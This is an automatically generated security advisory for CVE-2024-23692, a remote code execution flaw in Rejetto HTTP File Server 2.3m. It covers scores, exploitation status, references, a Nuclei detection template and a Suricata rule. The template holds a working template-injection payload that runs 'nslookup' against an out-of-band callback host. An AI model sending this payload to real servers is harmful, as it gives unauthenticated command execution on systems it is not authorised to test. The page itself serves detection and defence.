CVE-2024-23692: Rejetto HTTP File Server Improper Neutralization of Special Elements Used in a Template Engine Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.
Description quoted from the CVE record (assigned by VulnCheck, published 2024-05-31).
Weakness: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2024-07-09
- US federal deadline
- 2024-07-30
- Ransomware use
- Yes
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Metasploit module, 2 Exploit-DB entries, 1 Nuclei template, 18 code repositories and 1 research write-up naming this CVE.
- Metasploit module
- Exploit-DB 52102
- Exploit-DB 52102
- Nuclei template (ProjectDiscovery)
- AttackerKB analysis
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 36 references on Exploit Observer
Live scores
- EPSS
- 0.995
very likely to be attacked soon - VEDAS
- 0.981
strong exploit evidence - On CISA KEV
- Yes, since 2024-07-09
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Rejetto HTTP File Server | up to and including 2.3m | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://github.com/rapid7/metasploit-framework/pull/19240 (issue-tracking, patch)
How to detect it
Nuclei template (active check)
Rejetto HFS - Server-Side Template Injection
Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%pas...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2024-23692.yamlShow the template (37 lines)
id: CVE-2024-23692
info:
name: "Rejetto HFS - Server-Side Template Injection"
author: vedas-arpsyndicate
severity: critical
description: |
Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection
vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on
the affected system by sending a specially crafted HTTP request.
reference:
- https://www.exploit.observer/?keyword=CVE-2024-23692&match=exact
- https://subdomain.center/?engine=ammonites&keyword=hfs&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-23692
cwe-id: CWE-1336
metadata:
verified: false
tags: cve,cve2024,hfs,rejetto,rce,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "rejetto"
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-23692 Rejetto HFS - Server-Side Template Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-23692 Rejetto HFS - Server-Side Template Injection"; flow:established,to_server; http.uri; content:"nslookup"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-23692; reference:url,https://www.exploit.observer/?keyword=CVE-2024-23692&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=hfs&match=exact; sid:1000160; rev:2;)
CVE-2024-23692.rules on GitHub
Advisories on this CVE
References
Vendor advisories and patches
- https://github.com/rapid7/metasploit-framework/pull/19240 (issue-tracking, patch)
Technical analysis and advisories
- https://vulncheck.com/advisories/rejetto-unauth-rce (third-party-advisory)
- https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/ (third-party-advisory, technical-description)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-23692 (government-resource)
Other references
- https://www.vicarius.io/vsociety/posts/unauthenticated-rce-flaw-in-rejetto-http-file-server-cve-2024-23692
- https://www.vicarius.io/vsociety/posts/cve-2024-23692-detect-rejetto-hfs-vulnerability
- https://www.vicarius.io/vsociety/posts/cve-2024-23692-rejetto-hfs-mitigate-vulnerability
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.